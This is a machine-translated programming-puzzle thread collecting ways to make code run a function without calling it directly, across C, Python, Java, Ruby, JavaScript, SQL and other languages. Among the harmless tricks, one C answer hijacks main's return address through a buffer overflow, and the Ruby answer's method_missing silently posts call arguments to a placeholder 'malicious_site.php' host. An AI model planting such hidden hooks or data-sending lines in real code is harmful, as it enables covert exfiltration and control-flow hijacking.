호출하지 않고 메소드 호출


77

삭제 된 StackOverflow 질문에서 영감을 얻었습니다 . 명시 적으로 호출하지 않고 특정 메소드를 실행하는 방법을 생각해 낼 수 있습니까? 간접적 일수록 좋습니다.

다음은 정확히 의미하는 바입니다 (C는 예시를 위해 사용되었으며 모든 언어가 허용됨).

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

원래 질문 : 여기에 이미지 설명을 입력하십시오


58
+10471 ... nice
qwr

29
얼마나 많은 담당자가 오버플로를 오버플로해야하는지 궁금합니다.
PyRulez

34
분명히 이것은 @Mysticial 계정 의 스크린 캡으로 아바타를 봅니다. Mysticial, 당신은 할 수 제발 단지 당신의 담당자 탭을 클릭합니다?!?!?!
Doorknob

4
@Doorknob 왜 그가해야합니까? 그것은 모두 하나의 답변에서 나옵니다.
FDinoff

8
@PyRulez 존 소총은 아직있다, 그래서 우리는 안전 해요 지금 .
Cole Johnson

답변:


109

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

GCC로 컴파일 할 때 컴파일러는 printf("Goodbye!\n")으로 대체 puts("Goodbye!")되는데,이 방법은 더 간단하고 동일해야합니다. 나는 커스텀 puts함수를 몰래 제공 했기 때문에 대신 호출됩니다.


1
@ user17752 이것은 실제로 GCC가 -O0에서도 변환하는 것입니다. (GCC 4.8, 어쨌든 다른 버전에는 다른 옵션이 필요할 수 있습니다.)
hvd

1
죄송합니다, 제 실수는 맥북에서 clang을 사용하고 있다는 것을 잊었습니다.
DarkHeart

@ user17752 고마워, 나는 다른 컴파일러로 테스트하지 않았으며, clang은 적어도 동일한 변환을 얻을 수있는 옵션이 있다는 것을 알고 있습니다.
hvd

축하합니다! 승자가 당신입니다!

84

코드에서 호출되지 않은 함수를 맬웨어가 어떻게 실행할 수 있습니까? 오버플로 버퍼로!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

내 시스템에서 반환 주소 main는 첫 번째 로컬 변수 위에 3 단어 이상 저장됩니다. 리턴 주소를 다른 함수의 주소로 스크램블하여 해당 함수로 main"복귀"합니다. 다른 시스템에서이 동작을 재현하려면 3을 다른 값으로 조정해야 할 수도 있습니다.


나를 이길 (+1)-이것은 명백한 C 솔루션입니다.
Comintern

20
<!-- language: lang-c -->코드 앞에 두 줄을 사용 하여 강조 표시하십시오.
Victor Stafusa

9
모든 우박 @ 빅터, 구문 강조 영웅!
Jason C

@ 빅터 공식적으로 문서화되어 있습니까? 그렇다면 어디입니까?
Thorbjørn Ravn Andersen


75

세게 때리다

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
예외 처리. 다른 메소드 호출!
phyrfox

56

파이썬 2

>>> def func(*args):
        print('somebody called me?')

다른 답변에서 영감을 얻은 몇 가지 방법은 다음과 같습니다.

  1. 코드를 직접 실행

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    이것은 실제로 함수를 호출하지 않는 가장 좋은 방법입니다.

  2. 소멸자를 사용하여

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. 표준 I / O 사용

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. 속성 조회 사용

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. 수입 메커니즘

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    글쎄, 그게 다인 것 같아. 지금은 아무것도 가져올 수 없습니다. 잠깐만 ..

  6. get-item 괄호 사용 []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. 전역 변수 사용 내가 좋아하는 것!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    hello에 대한 액세스 권한 d['hello']입니다. 이 후 세계는 회색으로 보입니다.

  8. 메타 클래스;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. 반복자 사용 (모든 연산자를 오버로드하여 사용할 수 있음)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. 오류!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. 프레임 워크가 다시 전화합니다. 거의 모든 GUI에는이 기능이 있습니다.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. 소스 문자열을 실행합니다 (func는 파일에 있어야 함)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. 데코레이터

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. 피클 역 직렬화 기능 (최소 즐겨 찾기 제공)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. 직렬화 사용

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

더 많은 파이썬 답변 :


1
좋은 컬렉션이지만 스레드 를 잊어 버렸습니다 . ;)
nyuszika7h

이 대답은 터무니 없다. +1
asteri

이것은 Python 3입니다
Braden Best

1
이 예제들 중 다수는 Python 3에서도 작동합니다. 표시된 메타 클래스 및 예외 발생은 Python 3에서는 작동하지 않습니다.
User

22

자바 스크립트

이것은 JSFuck 을 사용 하여 더러운 작업을 수행합니다.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
나는 이것이 명시적인 함수 호출로 자격이 있다고 생각합니다. 매우 난독 화 된 것입니다.
primo

3
@primo, 실행할 자바 스크립트 문자열을 생성하고이를 호출 할 Function 객체를 획득합니다. 그러나 그렇게하기 위해, 그것은 타입들 사이에 암묵적인 변환을 사용합니다; 예를 들어 ""문자열이며 []0으로 평가되므로 ""[[]]정의되지 않으며 ""[[]]+"""정의되지 않음"입니다. 거기에서 개별 문자를 뽑을 수 있습니다 : (""[[]]+"")[[]]"u"입니다. 따라서 임의 코드로 exec를 호출하는 것이 더 쉽습니다. 나는 그것이 중요하다고 생각합니까?
Phil H

1
@ 필자는 그것이 어떻게 작동하는지 이해합니다. 마지막 두 괄호를 제거하십시오 function anonymous() { x() }..
primo

22

파이썬

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

the_function프로파일 링 함수로 설정 되어 각 함수 호출 및 리턴시 실행됩니다.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

이거 파이썬인가요?
Hosch250

@ user2509848 예, 언급하는 것을 잊었습니다.
grc

C가 아닌 답변! 더보고 싶어요 : D

@Johnsyweb 참조하십시오 meta.codegolf.stackexchange.com/q/1109/9498을 . 구문 강조 표시를 포함하기 위해 모든 단일 게시물을 편집 할 필요는 없습니다. 특히 코드 모양 (예 : 짧은 코드)에 거의 영향을 미치지 않는 경우.
Justin

@Quincunx : 인정 ☻
Johnsyweb

18

씨#

당신이 호출 할 때마다 우리는 항상 약간의 코드를 실행하기 위해 DLR을 남용 할 수 있는 클래스에 대한 방법을. 델리게이트, 리플렉션, 정적 생성자 등과 같은 솔루션보다 약간 저렴하고 명백합니다. 실행되는 메소드는 호출 되지 않을뿐만 아니라 이름 조차도 참조 되지 않기 때문입니다.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

이것은 항상 "Ha! Tricked you!"를 인쇄합니다. 무엇 을 호출하려고 하더라도 a. 그래서 나는 쉽게 쓸 수 있었고 a.SuperCaliFragilisticExpiAlidocious()같은 일을 할 것입니다.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

이것은 매우 직접적이지만, 확실히 아니다 호출 하는 hello_world함수가하는 경우에도 실행합니다.


16

루비

와트에서 영감을 받았습니다 .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

필요에 따라 C의 프로그램 끝에서 호출 할 함수를 등록 할 수 있습니다.

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

자바

이것을 java로 시도했습니다.

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

이 방법 secretMethodNotCalledInMain은 리플렉션에 의해서만 호출되며,라는 것을 검색하지 않습니다 secretMethodNotCalledInMain(대신이라고 불리는 것을 검색하지 않습니다 main). 또한 mainJDK의 포착되지 않은 예외 처리기가 시작되면 코드의 반사 부분이 메서드 외부에서 호출 됩니다.

내 JVM 정보는 다음과 같습니다.

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

내 프로그램의 출력은 다음과 같습니다.

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

나는 NullPointerException네이티브 코드에서 리플렉션을 처리하기 위해 던져 질 것이라고 기대하지 않았습니다 . 그러나 @ johnchen902에서 언급했듯이 이는 메소드를 상속 받았기 때문에 s에서 java.lang.Object호출했습니다 null.


그것들 NPE은 JDK 버그가 아닙니다. with java.lang.Object와 같이 선언 된 인스턴스 메소드를 호출하려고했기 때문에 발생합니다 . toString()null
johnchen902

물론입니다. 감사합니다. 편집했습니다.
Victor Stafusa

14

C ++

C ++의 한 가지 방법은 정적 객체의 생성자 및 / 또는 소멸자입니다.

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
나는 또한 생각 의 새로운 및 삭제 과부하 ,하지만 나는 3 개 답변 : 충분히 생각
fredoverflow

생성자 / 소멸자는 C ++에서 "메소드"로 간주됩니까? .NET과 Java에서는 실제로 다른 멤버 유형입니다. 당신은 할 수 직접 당신이 원하는 경우에도, 정적의 ctor를 호출에 ...
Aaronaught

@Aaronaught : C ++에서 "적어도"라고 여겨지는 것은 없습니다. 생성자와 소멸자는 멤버 함수입니다. "특별한"멤버 함수입니다 (예 : 생성자는 이름이 없으므로 직접 호출 할 수 없습니다).
Jerry Coffin

글쎄, 나는 OP가 그랬기 때문에 그 용어만을 사용했다. C / C ++ 및 거의 모든 다른 비 Java / .NET 언어에는 메소드가 아니라 함수가 있습니다. 그러나 중요한 점은 직접 호출 할 수 없다는 것입니다. 당신은 인스턴스 생성자가 기술적으로 직접 호출되고 있음을 주장 할 수 있습니다 new, 그리고 그것은 흥미로운 대답은 하나를 호출 할 수있는 방법이하는 것 없이를 new . 그러나 나는 정적 생성자가 약간의 속임수처럼 느껴집니다.
Aaronaught

@Aaronaught 이미 할당 된 메모리에서 생성자를 호출하려면을 쓸 수 있습니다 new (p) foo(). 를 통해 메모리를 해제하지 않고도 객체를 파괴 할 수 있습니다 p->~foo().
fredoverflow

12

C : Hello World

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

산출:

Hello World!

메소드를 연결하려면 프로그램의 어딘가에 printf ()를 컴파일해야하지만 실제로 호출 할 필요는 없습니다. printf () 및 main () 함수는 코드 세그먼트에서 서로 276 바이트 떨어져 있습니다. 이 값은 OS 및 컴파일러에 따라 변경됩니다. 이 코드를 사용하여 시스템에서 실제 주소를 찾은 다음 빼면됩니다.

printf("%d %d\n", &printf, &main);

4
*main정말 혼란스럽고 불필요합니다. main는 역 참조 할 수없는 함수이므로 함수 포인터로 암시 적으로 감쇠 한 다음 역 참조되어 함수를 다시 생성합니다. 함수에서 정수를 뺄 수 없으므로 함수 포인터로 다시 소멸됩니다. 당신은 또한 쓸 수 있습니다 (*****main-276);) 당신은 아마 (&main-276)쓰거나 (*(main-276))대신 하려고했습니다 .
fredoverflow

6
The * before main is really confusing and unnecessary.-이 사이트에서 일반적으로 좋지 않은가요?
James Webster

나는 표준이 잘 ​​구성된 프로그램은 사용하지 않을 main것이지만 지금은 그것을 찾을 수 없다고 말했다.
Damon

3
난독 화 된 참조로 명시 적으로 호출
Nowayz

9

C (GCC 인라인 asm 포함)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

이로 인해 일부 GCC 방출 코드가 오브젝트 파일의 다른 세그먼트에있게되어 제어 흐름이 효과적으로 "함수"가됩니다. GCC가 기능을 재정렬하기로 결정한 경우에는 작동하지 않습니다. MirBSD-current / i386에서 GCC 3.4.6으로 테스트했습니다 -O2. (또한 -g오류 가 발생하여 컴파일하고 디버깅을 중단 합니다 ☺)


8

PHP ≥5.4.0

이 솔루션은 분명히 끔찍한 혼란이지만, 주어진 작업을 수행합니다 (얼마나 수행 해야하는지에 대한 규정은 없습니다 ).

호출하지 않고 호출하는 함수 :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

해결책 :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

:

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

가능한 출력 :

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

설명 :

호출되면 executeFunction()현재 실행중인 파일의 내용을 읽습니다 (이것은 CLI에서 실행되도록 의도되어 있음을 의미합니다 $argv). 지정된 함수의 인수와 본문을 구문 분석하고 모든 것을 새로운 덩어리로 다시 해킹합니다. 코드를 eval()모두 작성하고 결과를 반환합니다. 결과는 getRandomString()실제로 직접 또는 간접적으로 호출되지 않지만 함수 본문의 코드는 여전히 실행됩니다.


글쎄, __construct()직접 함수를 호출하지 new Something()않고 대신 사용하기 때문에 PHP에서 메소드 수를 작성 합니까?
Damir Kasipovic

@ D.Kasipovic 일종의 다른 방법으로 직접 호출한다고 주장 할 수 있습니다. 상자 밖에서 생각하기 때문에 현재 접근 방식을 선택했습니다. 난 그냥 콜백으로 기능을 등록 할 수로 register_tick_function(), register_shutdown_function()또는 spl_autoload_register(), @의 GRC의 파이썬 응답과 유사하지만 난 그 느낌 '부정 행위'밖으로 쉬운 방법을 복용.
Tony Ellis


7

T-SQL

내장 된 기능입니다. 승리를위한 트리거!

정말로 재미있게 즐기고 싶다면 April Fool 's Day에 INSTEAD OF 트리거를 만드십시오.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

결과 :

|          GREETING |
|-------------------|
| Hello, Code Golf! |

매우 장난. 그런 lulz. 와.

Tinker는 SQLFiddle에서 그것을 wid합니다 .


2
트리거는 항상 응용 프로그램 개발자로서 항상 필요합니다.
Matthew

7

자바 스크립트

Firefox 콘솔에서 :

    this.toString = function(){alert('Wow')};

그런 다음 콘솔에 아무 것도 .toString()입력하지 마십시오. 콘솔에 입력 할 때 Firefox에서 여러 번 호출합니다 .

